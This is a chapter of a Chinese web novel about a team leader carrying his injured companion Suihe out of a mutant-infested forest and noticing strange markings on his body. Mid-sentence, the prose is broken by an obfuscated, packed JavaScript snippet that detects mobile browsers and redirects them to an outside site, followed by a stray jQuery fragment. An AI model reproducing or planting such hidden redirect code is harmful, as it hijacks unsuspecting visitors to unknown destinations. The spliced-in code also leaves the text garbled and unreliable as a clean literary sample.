这一次岁禾并没有接受太久的淬炼,上一次是傅清洲单独一个人守着他的时候睡着了。
旁边的二人都不敢松懈,生怕那些撤离的异变种会再次杀回来。
把岁禾裹成虫茧的藤蔓慢慢地退开缩回地里。而岁禾被重新以蚂蚁运输食物的方式被送回了傅清洲的怀里。
身边的藤蔓全数退开,地面恢复原样,好像那些藤蔓从未出现过一样。
傅清洲看着怀里的人,愣了一下。忽然想起来梵烬说的那些话,他不自觉地看向岁禾那张苍白的脸。
岁禾很有少年相,眉眼柔和,那张脸因为伤口而泛白,眉头微微皱着,薄唇也抿成一条线,似乎在梦里都过得不太好。
他的伤口已经止住了血,但腹部的伤口还是很明显,傅清洲手指动了动,想找些东西给他包扎起来,可他忘记了,纱布什么的都被用完了。
没有东西包扎,狰狞的伤口露出来,岁禾替他挡下伤害的那一幕又出现在眼前。以及梵烬说的那些话,仿佛萦绕在他耳边,根本就没法散去。
越想这些事情,傅清洲越觉得怀里的人像是烫手山芋一样,抱也不是,不抱也不是。
越是这样,他就越心虚,越对自己没底。
傅清洲喉结滚动了一下,在内心的纠结里,他依旧盯着岁禾看,莫名觉得他好像长得还挺好看的,如果醒来不会一直烦着他就好了。
“吃点。”梵烬不知道什么时候去找了些野果回来,重新坐在傅清洲旁边,把野果递过去给他。
傅清洲愣了一下,抬起手接过放在嘴里咬了一口,有点涩,不是太好吃。
和岁禾每次找的都不一样。
不知道岁禾到底是怎么找的野果,每次都能精准找到又红又甜的野果。
“这里不宜久留。”梵烬又说:“要继续等阿溯他们来,还是说按照之前拟定的路线直接离开?”
傅清洲犹豫了一下,又看着靠在自己怀里的人,道:“直接离开吧,留个信号给他们,万一路上遇不到也能给他们一个信息。”
他拿出通讯器,发现已经没电了。时间过去太久了,没电是正常的。
傅清洲又看向梵烬,问:“通讯器有信号吗?有的话发个讯息总比留个信号强。”
梵烬点开手腕上的通讯器,上面显示的信号断断续续的。他在附近转悠了一圈,发现还是一样断断续续的。
他尝试发了一条信息给梵溯,但一直显示发不出去,最后只能走回傅清洲身边,“发不出去,我们先走吧。”
只能先这样了。
害怕那些异变种重新回来,二人很快就收拾好了东西,傅清洲前面背着包,后面背着岁禾,和梵烬放快了脚步离开这里。
兽潮退去之后,这片森林安静得很诡异,特别是最后那三个强大的异变种,离开得也很奇怪,在看见岁禾受伤之后就直接离开了。
没有一点犹豫。
二人一路走着,天色破晓射出一些稀碎的阳光,是难得的晴天。
傅清洲记得岁禾是最爱晒太阳了,今天刚好是晴天,他一定会尽快醒过来的吧。
阳光顺着树叶落在泥地上,昨天才下完雨,此时的泥地里一片泥泞,带着泥土的芬芳,但二人顾不得脏,越走越快。
直到听见熟悉的声音,二人才明显松了一口气,刚好和梵溯带来的救援碰上了,这样就不用这么警惕了,可以放松了很多。
“队长!阿烬!”
在看见傅清洲和梵烬的时候,第一小队的队员疯狂地围上来,把他们团团围住。
梵溯挤开人群,来到他哥面前,检查了一下他身上的伤口之后一把把他抱住,气呼呼地开口:“你吓死我了!以后我才不要自己出去找支援了。”
双生子心连心,连痛觉都能感觉到,梵烬知道自己受伤的时候梵溯肯定要担心坏了,但他说不出什么安慰的话,只能任由他叽里咕噜地说着,最后抱紧他。
“没事了,是岁禾救了我。”梵烬推开他,“你回去的路上遇到什么危险吧?”
梵溯摇摇头,“小兄弟呢?怎么就你和队长两个人?”
闻言,梵烬的视线落在傅清洲身上,而一旁的梵溯也跟着望过去,在人群里看见了趴在傅清洲身上的岁禾,脸上没什么血色,像是受了重伤。
梵溯喉结滚动了一下,盯着岁禾看了许久,才扭头问他哥,“他、还活着吗?”
额头被梵烬弹了一下,梵溯也像队员那样拥上傅清洲。
“先散开。”傅清洲把背包取下来,又把岁禾从背上放下来,梵溯连忙上去扶住岁禾。
“队长,你没事吧?”何寻开口。
傅清洲摇头,“我没事,身上有绷带吗?替他包扎一下。”
他本来想把岁禾放在地上靠着树干,最后还是自己靠在树干上,让岁禾窝在自己怀里。
“这位是?”秦安哲出声询问。
傅清洲没理他,旁边的梵烬先开口了,“是队长捡的一个小孩儿,异能挺强的,队友也死完了,所以我们就带回来了。”
秦安哲若有所思地点点头,“队长没事就好。”
何寻从背包里翻出纱布,一边用异能尝试给他治疗,结果惊奇地发现好像根本就不用治疗,“队长……他……”
“他自己治疗过了。”傅清洲面无表情地开口,“你直接给他伤口消毒包扎就好了。”
何寻又点头,从包里翻出消毒水碘伏之类的东西,然后慢慢伸手去解岁禾的腰带。
傅清洲抬手阻止了她,“干嘛?”
何寻掀起眸子疑惑地看着他,“给他处理伤口啊,不脱衣服我怎么处理伤口?”
傅清洲抿着唇,不知道为什么看着就很不爽,他犹豫了一下,然后道:“我来吧,你去休息。”
何寻:“……”
虽然不理解队长的作为,但何寻还是把手上的东西放下之后,转身融进了大家的交谈中。
东西被放在一边,傅清洲让岁禾靠在自己身上,伸出手去解岁禾身上的腰带。作战服是傅清洲的,穿在岁禾身上很宽大,腰带也勒得很紧。
慢慢掀开岁禾的上衣,露出细小的腰肢,以及他腰上有一些傅清洲看不懂的纹路。
但他总觉得好像在哪里见过。
“阿烬。”傅清洲重新把衣服放下来盖住,沉声把梵烬喊过来了。
梵烬蹲在一边遮挡住大部分人的视线,他看着傅清洲撩起岁禾的上衣,露出那带着纹路的腰陷入了沉默。
“眼熟吗?”傅清洲抬眼望着他。
梵烬点了一下头,“有点,但我记不起在哪里见过了。”
傅清洲也觉得奇怪,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775877|174721||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记得当初见到岁禾的时候,他身上是没有这些纹路了,像是一条蛇蜿蜒在腰上发着细弱的光芒。
“一开始没有的。”傅清洲说:“我见到他的时候,他身上没有这些东西。”
也就是说不知道是什么时候出现的,岁禾他自己知不知道,这些纹路到底是好的还是不好的。
这些问题一个接着一个。
“哥!”梵溯洪亮的声音传过来。
傅清洲眼疾手快地重新把岁禾的衣服放下,梵溯过来看了他们一眼,然后笑眯眯地开口:“哥,我去找点吃的,来跟你说一声。”
梵烬点头,“注意安全。”
“放心吧,我和寻姐他们去!不会有事情的。”
等目送他们二人离开之后,傅清洲重新掀开岁禾的衣服,这次他没有迟疑,拿起碘伏就开始处理伤口。
唯一不同的是,这次岁禾身上的纹路消失了。
“这是怎么回事?”梵烬抿了抿唇,不确定地看着那白花花的肚皮。
傅清洲也不知道说什么,最后只是沉默着替他包扎。
不知道为什么,他能让梵烬的伤口愈合,但到了自己身上就只能是把血止住,伤口格外的狰狞。
但没死就已经很不错了。
梵烬坐在旁边,回想着岁禾身上的那些纹路,他确定自己在哪里见过,只是暂时想不起来了。
给岁禾包扎好之后,傅清洲又重新整理好他的衣服,把他托到树上靠着,不知道这次岁禾又要什么时候才能清醒过来。
但已经快要出去了,傅清洲不可能在等他清醒之后在出去,那些退去的异变种随时都有可能回来,所以他们必须赶紧离开。
只要岁禾在这座森林里多待一天,那就代表着他会吸引更多的异变种前来,所以现在每一分每一秒都很珍贵。
把岁禾的位置调整好,傅清洲才开始看向自己的队员,除去和梵溯一起去找吃的何寻和秦安哲,大家都在。
他起身的时候顺势拉了一把梵烬,“来开个会。”
即使很久不见,大家在看见傅清洲的时候都很自然的放松下来,大家都表达了关心之后一直想叙旧,但因为傅清洲一直冷着脸在照顾一个不认识的人,所以大家都不敢上前。
直到傅清洲说要开会的时候,大家很快就聚集在一起,等待着队长的发言。
大家都很久没见了,傅清洲把自己得到的一些重要的信息都和他们说了一些,又询问了一些问题,最后是一个很重要的事情。
那就是傅清洲打算把岁禾塞进自己的队伍里,第一小队的队员都是经过傅清洲自己严选的,以及各种训练结果择优录取,所以这一件事一说出来,大家都在沉默着。
傅清洲在宣布完这个事情之后,又继续道:“如果有不同意的,也可以,等他的伤好了,你们可以和他比试一下,就知道自己与他的能力差距在哪里了。”
“他救过我,救过梵烬和梵溯两兄弟,他的战斗能力能我们三个人匹敌,要是还有意见,那就打一架,证明他确实不配进第一小队。”
“那安哲哥他们也知道这件事吗?”
傅清洲这才想起来,秦安哲是副队长,他不在的这些日子,第一小队都是听命于秦安哲。
“秦副队也是一样。”
“不服,也打一架。”